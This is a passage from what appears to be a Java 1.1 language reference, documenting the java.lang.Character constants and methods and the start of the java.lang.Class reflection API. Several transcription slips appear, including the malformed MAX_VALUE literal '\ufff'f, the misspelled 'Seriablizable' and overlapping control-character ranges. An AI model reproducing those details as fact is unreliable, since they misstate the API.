public final static byte ENCLOSING_MARK

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

END_PUNCTUATION

public final static byte END_PUNCTUATION

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

FORMAT

public final static byte FORMAT

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

LETTER_NUMBER

public final static byte LETTER_NUMBER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

LINE_SEPARATOR

public final static byte LINE_SEPARATOR

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

LOWERCASE_LETTER

public final static byte LOWERCASE_LETTER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

MATH_SYMBOL

public final static byte MATH_SYMBOL

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

MAX_RADIX

public static final int MAX_RADIX = 36

Description

The maximum value that can be specified for a radix.

MAX_VALUE

public final static char MAX_VALUE = '\ufff'f

Description

The largest value that can be represented by a char.

MIN_RADIX

public static final int MIN_RADIX = 2

Description

The minimum value that can be specified for a radix.

MIN_VALUE

public final static char MIN_VALUE = '\u0000'

Description

The smallest value that can be represented by a char.

MODIFIER_LETTER

public final static byte MODIFIER_LETTER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

MODIFIER_SYMBOL

public final static byte MODIFIER_SYMBOL

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

NON_SPACING_MARK

public final static byte NON_SPACING_MARK

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

OTHER_LETTER

public final static byte OTHER_LETTER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

OTHER_NUMBER

public final static byte OTHER_NUMBER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

OTHER_PUNCTUATION

public final static byte OTHER_PUNCTUATION

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

OTHER_SYMBOL

public final static byte OTHER_SYMBOL

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

PARAGRAPH_SEPARATOR

public final static byte PARAGRAPH_SEPARATOR

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

PRIVATE_USE

public final static byte PRIVATE_USE

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

SPACE_SEPARATOR

public final static byte SPACE_SEPARATOR

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

START_PUNCTUATION

public final static byte START_PUNCTUATION

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

SURROGATE

public final static byte SURROGATE

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

TITLECASE_LETTER

public final static byte TITLECASE_LETTER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

TYPE

public static final Class TYPE

Availability

New as of JDK 1.1

Description

The Class object that represents the type char. It is always true that Character.TYPE == char.class.

UNASSIGNED

public final static byte UNASSIGNED

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

UPPERCASE_LETTER

public final static byte UPPERCASE_LETTER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

Constructors

Character

public Character(char value)

Parameters

value

The char value to be encapsulated by this object.

Description

Creates a Character object with the given char value.

Class Methods

digit

public static int digit(char ch, int radix)

Parameters

ch

A char value that is a legal digit in the given radix.

radix

The radix used in interpreting the specified character as a digit. If radix is in the range 2 through 10, only characters for which the isDigit() method returns true are considered to be valid digits. If radix is in the range 11 through 36, characters in the ranges `A' through `Z' and `a' through `z' may be considered valid digits.

Returns

The numeric value of the digit. This method returns -1 if the value of ch is not considered a valid digit, if radix is less than MIN_RADIX, or if radix is greater than MAX_RADIX.

Description

Returns the numeric value represented by a digit character. For example, digit('7',10) returns 7. If the value of ch is not a valid digit, the method returns -1. For example, digit('7',2) returns -1 because '7' is not a valid digit in radix 2. A number of methods in other classes use this method to convert strings that contain numbers to actual numeric values. The forDigit() method is an approximate inverse of this method.

If radix is greater than 10, characters in the range `A' to `A'+radix-11 are treated as valid digits. Such a character has the numeric value ch-`A'+10. By the same token, if radix is greater than 10, characters in the range `a' to `a'+radix-11 are treated as valid digits. Such a character has the numeric value ch-`a'+10.

forDigit

public static char forDigit(int digit, int radix)

Parameters

digit

The numeric value represented as a digit character.

radix

The radix used to represent the specified value.

Returns

The character that represents the digit corresponding to the specified numeric value. The method returns `\ 0' if digit is less than 0, if digit is equal to or greater than radix, if radix is less than MIN_RADIX, or if radix is greater than MAX_RADIX.

Description

This method returns the character that represents the digit corresponding to the specified numeric value. If digit is in the range 0 through 9, the method returns `0'+digit. If digit is in the range 10 through MAX_RADIX-1, the method returns `a'+digit-10. The method returns `\ 0' if digit is less than 0, if digit is equal to or greater than radix, if radix is less than MIN_RADIX, or if radix is greater than MAX_RADIX.

getNumericValue

public static int getNumericValue(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value.

Returns

The Unicode numeric value of the character as a nonnegative integer. This method returns -1 if the character has no numeric value; it returns -2 if the character has a numeric value that is not a nonnegative integer, such as 1/2.

Description

This method returns the Unicode numeric value of the specified character as a nonnegative integer.

getType

public static int getType(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value.

Returns

An int value that represents the Unicode general category type of the character.

Description

This method returns the Unicode general category type of the specified character. The value corresponds to one of the general category constants defined by Character.

isDefined

public static boolean isDefined(char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character has an assigned meaning in the Unicode character set; otherwise false.

Description

This method returns true if the specified character value has an assigned meaning in the Unicode character set.

isDigit

public static boolean isDigit(char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as a digit in the Unicode character set; otherwise false.

Description

This method determines whether or not the specified character is a digit, based on the definition of the character in Unicode.

isIdentifierIgnorable

public static boolean isIdentifierIgnorable(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character is ignorable in a Java or Unicode identifier; otherwise false.

Description

This method determines whether or not the specified character is ignorable in a Java or Unicode identifier. The following characters are ignorable in a Java or Unicode identifier:

\u0000 - \u0008 \u000E - \u001B \u007F - \u009F

ISO control characters that aren't whitespace

\u200C - \u200F

Join controls

\u200A - \u200E

Bidirectional controls

\u206A - \u206F

Format controls

\uFEFF

Zero-width no-break space

isISOControl

public static boolean isISOControl(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character is an ISO control character; otherwise false.

Description

This method determines whether or not the specified character is an ISO control character. A character is an ISO control character if it falls in the range \u0000 through \u001F or \u007F through \u009F.

isJavaIdentifierPart

public static boolean isJavaIdentifierPart(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character can appear after the first character in a Java identifier; otherwise false.

Description

This method returns true if the specified character can appear in a Java identifier after the first character. A character is considered part of a Java identifier if and only if it is a letter, a digit, a currency symbol (e.g., $), a connecting punctuation character (e.g., _), a numeric letter (e.g., a Roman numeral), a combining mark, a nonspacing mark, or an ignorable control character.

isJavaIdentifierStart

public static boolean isJavaIdentifierStart(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character can appear as the first character in a Java identifier; otherwise false.

Description

This method returns true if the specified character can appear in a Java identifier as the first character. A character is considered a start of a Java identifier if and only if it is a letter, a currency symbol (e.g., $), or a connecting punctuation character (e.g., _).

isJavaLetter

public static boolean isJavaLetter(char ch)

Availability

Deprecated as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character can appear as the first character in a Java identifier; otherwise false.

Description

This method returns true if the specified character can appear as the first character in a Java identifier. A character is considered a Java letter if and only if it is a letter, the character $, or the character _ . This method returns false for digits because digits are not allowed as the first character of an identifier.

This method is deprecated as of JDK 1.1. You should use isJavaIdentifierStart() instead.

isJavaLetterOrDigit

public static boolean isJavaLetterOrDigit(char ch)

Availability

Deprecated as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character can appear after the first character in a Java identifier; otherwise false.

Description

This method returns true if the specified character can appear in a Java identifier after the first character. A character is considered a Java letter or digit if and only if it is a letter, a digit, the character $, or the character _.

This method is deprecated as of JDK 1.1. You should use isJavaIdentifierPart() instead.

isLetter

public static boolean isLetter(char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as a letter in the Unicode character set; otherwise false.

Description

This method determines whether or not the specified character is a letter, based on the definition of the character in Unicode. This method does not consider character values in ranges that have not been assigned meanings by Unicode to be letters.

isLetterOrDigit

public static boolean isLetterOrDigit(char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as a letter in the Unicode character set; otherwise false.

Description

This method determines whether or not the specified character is a letter or a digit, based on the definition of the character in Unicode. There are some ranges that have not been assigned meanings by Unicode. If a character value is in one of these ranges, this method does not consider the character to be a letter.

isLowerCase

public static boolean isLowerCase (char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as lowercase in the Unicode character set; otherwise false.

Description

This method determines whether or not the specified character is lowercase. Unicode defines a number of characters that do not have case mappings; if the specified character is one of these characters, the method returns false.

isSpace

public static boolean isSpace(char ch)

Availability

Deprecated as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as whitespace in the ISO-Latin-1 character set; otherwise false.

Description

This method determines whether or not the specified character is whitespace. This method recognizes the whitespace characters shown in the following table.

\u0009

Horizontal tab

\u000A

Newline

\u000C

Formfeed

\u000D

Carriage return

\u0020 ` `

Space

This method is deprecated as of JDK 1.1. You should use isWhitespace() instead.

isSpaceChar

public static boolean isSpaceChar(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character is a Unicode 2.0 space characters; otherwise false.

Description

This method determines if the specified character is a space character according to the Unicode 2.0 specification. A character is considered to be a Unicode space character if and only if it has the general category "Zs", "Zl", or "Zp" in the Unicode specification.

isTitleCase

public static boolean isTitleCase(char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as titlecase in the Unicode character set; otherwise false.

Description

This method determines whether or not the specified character is a titlecase character. Unicode defines a number of characters that do not have case mappings; if the specified character is one of these characters, the method returns false.

Many characters are defined by the Unicode standard as having upper- and lowercase forms. There are some characters defined by the Unicode standard that also have a titlecase form. The glyphs for these characters look like a combination of two Latin letters. The titlecase form of these characters has a glyph that looks like a combination of an uppercase Latin character and a lowercase Latin character; this case should be used when the character appears as the first character of a word in a title. For example, one of the Unicode characters that has a titlecase form looks like the letter `D' followed by the letter `Z'. Here is what the three forms of this letter look like:

Uppercase

`DZ'

Titlecase

`Dz'

Lowercase

`dz'

isUnicodeIdentifierPart

public static boolean isUnicodeIdentifierPart(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character can appear after the first character in a Unicode identifier; otherwise false.

Description

This method returns true if the specified character can appear in a Unicode identifier after the first character. A character is considered part of a Unicode identifier if and only if it is a letter, a digit, a connecting punctuation character (e.g., _), a numeric letter (e.g., a Roman numeral), a combining mark, a nonspacing mark, or an ignorable control character.

isUnicodeIdentifierStart

public static boolean isUnicodeIdentifierStart(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character can appear as the first character in a Unicode identifier; otherwise false.

Description

This method returns true if the specified character can appear in a Unicode identifier as the first character. A character is considered a start of a Unicode identifier if and only if it is a letter.

isUpperCase

public static boolean isUpperCase(char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as uppercase in the Unicode character set; otherwise false.

Description

This method determines whether or not the specified character is uppercase. Unicode defines a number of characters that do not have case mappings; if the specified character is one of these characters, the method returns false.

isWhitespace

public static boolean isWhitespace(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as whitespace according to Java; otherwise false.

Description

This method determines whether or not the specified character is whitespace. This method recognizes the following as whitespace:

Unicode category "Zs" except \u00A0 and \uFEFF

Unicode space separators except no-break spaces

Unicode category "Zl"

Unicode line separators

Unicode category "Zp"

Unicode paragraph separators

\u0009

Horizontal tab

\u000A

Linefeed

\u000B

Vertical tab

\u000C

Formfeed

\u000D

Carriage return

\u001C

File separator

\u001D

Group separator

\u001E

Record separator

\u001F

Unit separator

toLowerCase

public static char toLowerCase(char ch)

Parameters

ch

A char value to be converted to lowercase.

Returns

The lowercase equivalent of the specified character, or the character itself if it cannot be converted to lowercase.

Description

This method returns the lowercase equivalent of the specified character value. If the specified character is not uppercase or if it has no lowercase equivalent, the character is returned unmodified. The Unicode attribute table determines if a character has a mapping to a lowercase equivalent.

Some Unicode characters in the range \u2000 through \u2FFF have lowercase mappings. For example, \u2160 (Roman numeral one) has a lowercase mapping to \u2170 (small Roman numeral one). The toLowerCase() method maps such characters to their lowercase equivalents even though the method isUpperCase() does not return true for such characters.

toTitleCase

public static char toTitleCase(char ch)

Parameters

ch

A char value to be converted to titlecase.

Returns

The titlecase equivalent of the specified character, or the character itself if it cannot be converted to titlecase.

Description

This method returns the titlecase equivalent of the specified character value. If the specified character has no titlecase equivalent, the character is returned unmodified. The Unicode attribute table is used to determine the character's titlecase equivalent.

Many characters are defined by the Unicode standard as having upper- and lowercase forms. There are some characters defined by the Unicode standard that also have a titlecase form. The glyphs for these characters look like a combination of two Latin letters. The titlecase form of these characters has a glyph that looks like a combination of an uppercase Latin character and a lowercase Latin character; this case should be used when the character appears as the first character of a word in a title. For example, one of the Unicode characters that has a titlecase form looks like the letter `D' followed by the letter `Z'. Here is what the three forms of this letter look like:

Uppercase

`DZ'

Titlecase

`Dz'

Lowercase

`dz'

toUpperCase

public static char toUpperCase(char ch)

Parameters

ch

A char value to be converted to lowercase.

Returns

The uppercase equivalent of the specified character, or the character itself if it cannot be converted to uppercase.

Description

This method returns the uppercase equivalent of the specified character value. If the specified character is not lowercase or if it has no uppercase equivalent, the character is returned unmodified. The Unicode attribute table determines if a character has a mapping to an uppercase equivalent.

Some Unicode characters in the range \u2000 through \u2FFF have uppercase mappings. For example, \u2170 (small Roman numeral one) has a lowercase mapping to \u2160 (Roman numeral one). The toUpperCase() method maps such characters to their uppercase equivalents even though the method isLowerCase() does not return true for such characters.

Instance Methods

charValue

public char charValue()

Returns

The char value contained by the object.

equals

public boolean equals(Object obj)

Parameters

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Character, and it contains the same value as the object this method is associated with.

hashCode

public int hashCode()

Returns

A hashcode based on the char value of the object.

Overrides

Object.hashCode()

toString

public String toString()

Returns

A String of length one that contains the character value of the object.

Overrides

Object.toString()

Description

This method returns a string representation of the Character object.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Character literals;
Class;
Integer types;
Object

Previous | Home | Next
Byte | Book Index | Class
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Class

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Class

Name

Class

Synopsis

Class Name:

java.lang.Class

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.Seriablizable

Availability:

JDK 1.0 or later

Description

As of Java 1.1, instances of the Class class are used as run-time descriptions of all Java data types, both reference types and primitive types. The Class class has also been greatly expanded in 1.1 to provide support for the Reflection API. Prior to 1.1, Class just provided run-time descriptions of reference types.

A Class object provides considerable information about the data type. You can use the isPrimitive() method to find out if a Class object describes a primitive type, while isArray() indicates if the object describes an array type. If a Class object describes a class or interface type, there are numerous methods that return information about the fields, methods, and constructors of the type. This information is returned as java.lang.reflect.Field, java.lang.reflect.Method, and java.lang.reflect.Constructor objects.

There are a number of ways that you can get a Class object for a particular data type:

  • If you have an object, you can get the Class object that describes the class of that object by calling the object's getClass()method. Every class inherits this method from the Object class.

  • As of Java 1.1, you can get the Class object that describes any Java type using the new class literal syntax. A class literal is simply the name of a type (a class name or a primitive type name) followed by a period and the class keyword. For example:

    Class s = String.class;
Class i = int.class;
Class v = java.util.Vector.class;

  • In Java 1.0, you can get the Class object from the name of a data type using the forName() class method of Class. For example:

    Class v = Class.forName("java.util.Vector");

    This technique still works in Java 1.1, but it is more cumbersome (and less efficient) than using a class literal.

You can create an instance of a class using the newInstance() method of a Class object, if the class has a constructor that takes no arguments.

The Class class has no public constructors; it cannot be explicitly instantiated. Class objects are normally created by the ClassLoader class or a ClassLoader object.

Class Summary

public final class java.lang.Class extends java.lang.Object
                                   implements java.io.Serializable {
    // Class Methods
    public static native Class forName(String className);
    // Instance Methods
    public Class[] getClasses();                           // New in 1.1
    public native ClassLoader getClassLoader();
    public native Class getComponentType();                // New in 1.1
    public Constructor
           getConstructor(Class[] parameterTypes);         // New in 1.1
    public Constructor[] getConstructors();                // New in 1.1
    public Class[] getDeclaredClasses();                   // New in 1.1
    public Constructor
           getDeclaredConstructor(Class[] parameterTypes); // New in 1.1
    public Constructor[] getDeclaredConstructors();        // New in 1.1
    public Field getDeclaredField(String name);            // New in 1.1
    public Field[] getDeclaredFields();                    // New in 1.1
    public Method getDeclaredMethod(String name,
                  Class[] parameterTypes)                  // New in 1.1
    public Method[] getDeclaredMethods()                   // New in 1.1
    public Class getDeclaringClass();                      // New in 1.1
    public Field getField(String name);                    // New in 1.1
    public Field[] getFields();                            // New in 1.1
    public native Class[] getInterfaces();
    public Method getMethod(String name,
                  Class[] parameterTypes);                 // New in 1.1
    public Method[] getMethods();                          // New in 1.1
    public native int getModifiers();                      // New in 1.1
    public native String getName();
    public URL getResource(String name);                   // New in 1.1
    public InputStream getResourceAsStream(String name);   // New in 1.1
    public native Object[] getSigners();                   // New in 1.1
    public native Class getSuperclass();
    public native boolean isArray();                       // New in 1.1
    public native boolean isAssignableFrom(Class cls);     // New in 1.1
    public native boolean isInstance(Object obj);          // New in 1.1
    public native boolean isInterface();
    public native boolean isPrimitive();                   // New in 1.1
    public native Object newInstance();
    public String toString();
}

Class Methods

forName

 public static Class forName(String className) throws ClassNotFoundException

Parameters

className

Name of a class qualified by the name of its package. If the class is defined inside of another class, all dots (.) that separate the top-level class name from the class to load must be changed to dollar signs ($) for the name to be recognized.

Returns

A Class object that describes the named class.

Throws

ClassNotFoundException

If the class cannot be loaded because it cannot be found.

Description

This method dynamically loads a class if it has not already been loaded. The method returns a Class object that describes the named class.

The most common use of forName() is for loading classes on the fly when an application wants to use classes it wasn't built with. For example, a web browser uses this technique. When a browser needs to load an applet, the browser calls Class.forName() for the applet. The method loads the class if it has not already been loaded and returns the Class object that encapsulates the class. The browser then creates an instance of the applet by calling the Class object's newInstance() method.

When a class is loaded using a ClassLoader object, any classes loaded at the instigation of that class are also loaded using the same ClassLoader object. This method implements that security policy by trying to find a ClassLoader object to load the named class. The method searches the stack for the most recently invoked method associated with a class that was loaded using a ClassLoader object. If such a class is found, the ClassLoader object associated with that class is used.

Instance Methods

getClasses

public Class[] getClasses()

Availability

New as of JDK 1.1

Returns

An array of Class objects that contains the public classes and interfaces that are members of this class.

Description

If this Class object represents a reference type, this method returns an array of Class objects that lists all of the public classes and interfaces that are members of this class or interface. The list includes public classes and interfaces that are inherited from superclasses and that are defined by this class or interface. If there are no public member classes or interfaces, or if this Class represents a primitive type, the method returns an array of length 0.

As of Java 1.1.1, this method always returns an array of length 0, no matter how many public member classes this class or interface actually declares.

getClassLoader

public native ClassLoader getClassLoader()

Returns

The ClassLoader object used to load this class or null if this class was not loaded with a ClassLoader.

Description

This method returns the ClassLoader object that was used to load this class. If this class was not loaded with a ClassLoader, null is returned.

This method is useful for making sure that a class gets loaded with the same class loader as was used for loading this Class object.

getComponentType

public native Class getComponentType()

Availability

New as of JDK 1.1

Returns

A Class object that describes the component type of this class if it is an array type.

Description

If this Class object represents an array type, this method returns a Class object that describes the component type of the array. If this Class does not represent an array type, the method returns null.

getConstructor

 public Constructor getConstructor(Class[] parameterTypes) throws NoSuchMethodException, SecurityException

Availability

New as of JDK 1.1

Parameters

parameterTypes

An array of Class objects that describes the parameter types, in declared order, of the constructor.

Returns

A Constructor object that reflects the specified public constructor of this class.

Throws

NoSuchMethodException

If the specified constructor does not exist.

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class, this method returns a Constructor object that reflects the specified public constructor of this class. The constructor is located by searching all of the constructors of the class for a public constructor that has exactly the same formal parameters as specified. If this Class does not represent a class, the method returns null.

getConstructors

 public Constructor[] getConstructors() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Constructor objects that reflect the public constructors of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class, this method returns an array of Constructor objects that reflect the public constructors of this class. If there are no public constructors, or if this Class does not represent a class, the method returns an array of length 0.

getDeclaredClasses

public Class[] getDeclaredClasses() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Class objects that contains all of the declared classes and interfaces that are members of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a reference type, this method returns an array of Class objects that lists all of the classes and interfaces that are members of this class or interface. The list includes public, protected, default access, and private classes and interfaces that are defined by this class or interface, but it excludes classes and interfaces inherited from superclasses. If there are no such member classes or interfaces, or if this Class represents a primitive type, the method returns an array of length 0.

As of Java 1.1.1, this method always returns an array of length 0, no matter how many member classes this class or interface declares.

getDeclaredConstructor

 public Constructor getDeclaredConstructor(Class[] parameterTypes) throws NoSuchMethodException, SecurityException

Availability

New as of JDK 1.1

Parameters

parameterTypes

An array of Class objects that describes the parameter types, in declared order, of the constructor.

Returns

A Constructor object that reflects the specified declared constructor of this class.

Throws

NoSuchMethodException

If the specified constructor does not exist.

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class, this method returns a Constructor object that reflects the specified declared constructor of this class. The constructor is located by searching all of the constructors of the class for a public, protected, default access, or private constructor that has exactly the same formal parameters as specified. If this Class does not represent a class, the method returns null.

getDeclaredConstructors

 public Constructor[] getDeclaredConstructors() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Constructor objects that reflect the declared constructors of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class, this method returns an array of Constructor objects that reflect the public, protected, default access, and private constructors of this class. If there are no declared constructors, or if this Class does not represent a class, the method returns an array of length 0.

getDeclaredField

 public Field getDeclaredField(String name) throws NoSuchFieldException, SecurityException

Availability

New as of JDK 1.1

Parameters

name

The simple name of the field.

Returns

A Field object that reflects the specified declared field of this class.

Throws

NoSuchFieldException

If the specified field does not exist.

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns a Field object that reflects the specified declared field of this class. The field is located by searching all of the fields of the class (but not inherited fields) for a public, protected, default access, or private field that has the specified simple name. If this Class does not represent a class or interface, the method returns null.

getDeclaredFields

public Field[] getDeclaredFields() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Field objects that reflect the declared fields of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns an array of Field objects that reflect the public, protected, default access, and private fields declared by this class, but excludes inherited fields. If there are no declared fields, or if this Class does not represent a class or interface, the method returns an array of length 0.

This method does not reflect the implicit length field for array types. The methods of the class Array should be used to manipulate array types.

getDeclaredMethod

 public Method getDeclaredMethod(String name, Class[] parameterTypes) throws NoSuchMethodException, SecurityException

Availability

New as of JDK 1.1

Parameters

name

The simple name of the method.

parameterTypes

An array of Class objects that describes the parameter types, in declared order, of the method.

Returns

A Method object that reflects the specified declared method of this class.

Throws

NoSuchMethodException

If the specified method does not exist.

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns a Method object that reflects the specified declared method of this class. The method is located by searching all of the methods of the class (but not inherited methods) for a public, protected, default access, or private method that has the specified simple name and exactly the same formal parameters as specified. If this Class does not represent a class or interface, the method returns null.

getDeclaredMethods

public Method[] getDeclaredMethods() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Method objects that reflect the declared methods of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns an array of Method objects that reflect the public, protected, default access, and private methods declared by this class, but excludes inherited methods. If there are no declared methods, or if this Class does not represent a class or interface, the method returns an array of length 0.

getDeclaringClass

public Class getDeclaringClass()

Availability

New as of JDK 1.1

Returns

A Class object that represents the declaring class if this class is a member of another class.

Description

If this Class object represents a class or interface that is a member of another class or interface, this method returns a Class object that describes the declaring class or interface. If this class or interface is not a member of another class or interface, or if it represents a primitive type, the method returns null.

getField

 public Field getField(String name) throws NoSuchFieldException, SecurityException

Availability

New as of JDK 1.1

Parameters

name

The simple name of the field.

Returns

A Field object that reflects the specified public field of this class.

Throws

NoSuchFieldException

If the specified field does not exist.

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns a Field object that reflects the specified public field of this class. The field is located by searching all of the fields of the class, including any inherited fields, for a public field that has the specified simple name. If this Class does not represent a class or interface, the method returns null.

getFields

public Field[] getFields() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Field objects that reflect the public fields of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns an array of Field objects that reflect the public fields declared by this class and any inherited public fields. If there are no public fields, or if this Class does not represent a class or interface, the method returns an array of length 0.

This method does not reflect the implicit length field for array types. The methods of the class Array should be used to manipulate array types.

getInterfaces

public native Class[] getInterfaces()

Returns

An array of the interfaces implemented by this class or extended by this interface.

Description

If the Class object represents a class, this method returns an array that refers to all of the interfaces that the class implements. The order of the interfaces referred to in the array is the same as the order in the class declaration's implements clause. If the class does not implement any interfaces, the length of the returned array is 0.

If the object represents an interface, this method returns an array that refers to all of the interfaces that this interface extends. The interfaces occur in the order they appear in the interface declaration's extends clause. If the interface does not extend any interfaces, the length of the returned array is 0.

If the object represents a primitive or array type, the method returns an array of length 0.

getMethod

 public Method getMethod(String name, Class[] parameterTypes) throws NoSuchMethodException, SecurityException

Availability

New as of JDK 1.1

Parameters

name

The simple name of the method.

parameterTypes

An array of Class objects that describes the parameter types, in declared order, of the method.

Returns

A Method object that reflects the specified public method of this class.

Throws

NoSuchMethodException

If the specified method does not exist.

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns a Method object that reflects the specified public method of this class. The method is located by searching all of the methods of the class, including any inherited methods, for a public method that has the specified simple name and exactly the same formal parameters as specified. If this Class does not represent a class or interface, the method returns null.

getMethods

public Method[] getMethods() throws SecurityException

Availability

New as of JDK 1.1

Returns

An array of Method objects that reflect the public methods of this class.

Throws

SecurityException

If the checkMemberAccess() method of the SecurityManager throws a SecurityException.

Description

If this Class object represents a class or interface, this method returns an array of Method objects that reflect the public methods declared by this class and any inherited public methods. If there are no public methods or if this Class doesn't represent a class or interface, the method returns an array of length 0.

getModifiers

public native int getModifiers()

Availability

New as of JDK 1.1

Returns

An integer that represents the modifier keywords used to declare this class.

Description

If this Class object represents a class or interface, this method returns an integer value that represents the modifiers used to declare the class or interface. The Modifier class should be used to decode the returned value.

getName

public native String getName()

Returns

The fully qualified name of this class or interface.

Description

This method returns the fully qualified name of the type represented by this Class object.

If the object represents the class of an array, the method returns a String that contains as many left square brackets as there are dimensions in the array, followed by a code that indicates the type of element contained in the base array. Consider the following:

(new int [3][4][5]).getClass().getName()

This code returns "[[[I". The codes used to indicate the element type are as follows:

Code

Type

[

array

B

byte

C

char

d

double

F

float

I

int

J

long

L fully_qualified_class_name

class or interface

S

short

Z

boolean

getResource

public URL getResource(String name)

Availability

New as of JDK 1.1

Parameters

name

A resource name.

Returns

A URL object that is connected to the specified resource or null if the resource cannot be found.

Description

This method finds a resource with the given name for this Class object and returns a URL object that is connected to the resource. The rules for searching for a resource associated with a class are implemented by the ClassLoader for the class; this method simply calls the getResource() method of the ClassLoader. If this class does not have a ClassLoader (i.e., it is a system class), the method calls the ClassLoader.getSystemResource() method.

getResourceAsStream

public InputStream getResourceAsStream(String name)

Availability

New as of JDK 1.1

Parameters

name

A resource name.

Returns

An InputStream object that is connected to the specified resource or null if the resource cannot be found.

Description

This method finds a resource with the given name for this Class object and returns an InputStream object that is connected to the resource. The rules for searching for a resource associated with a class are implemented by the ClassLoader for the class; this method simply calls the getResourceAsStream() method of the ClassLoader. If this class does not have a ClassLoader (i.e., it is a system class), the method calls the ClassLoader.getSystemResourceAsStream() method.

getSigners

public native Object[] getSigners()

Availability

New as of JDK 1.1

Returns

An array of Objects that represents the signers of this class.

Description

This method returns an array of objects that represents the digital signatures for this class.

getSuperclass

public native Class getSuperclass()

Returns

The superclass of this class or null if there is no superclass.

Description

If the Class object represents a class other than Object, this method returns the Class object that represents its superclass. If the object represents an interface, the Object class, or a primitive type, the method returns null.

isArray

public native boolean isArray()

Availability

New as of JDK 1.1

Returns

true if this object describes an array type; otherwise false.

isAssignableFrom

public native boolean isAssignableFrom(Class cls)

Availability

New as of JDK 1.1

Parameters

cls

A Class object to be tested.

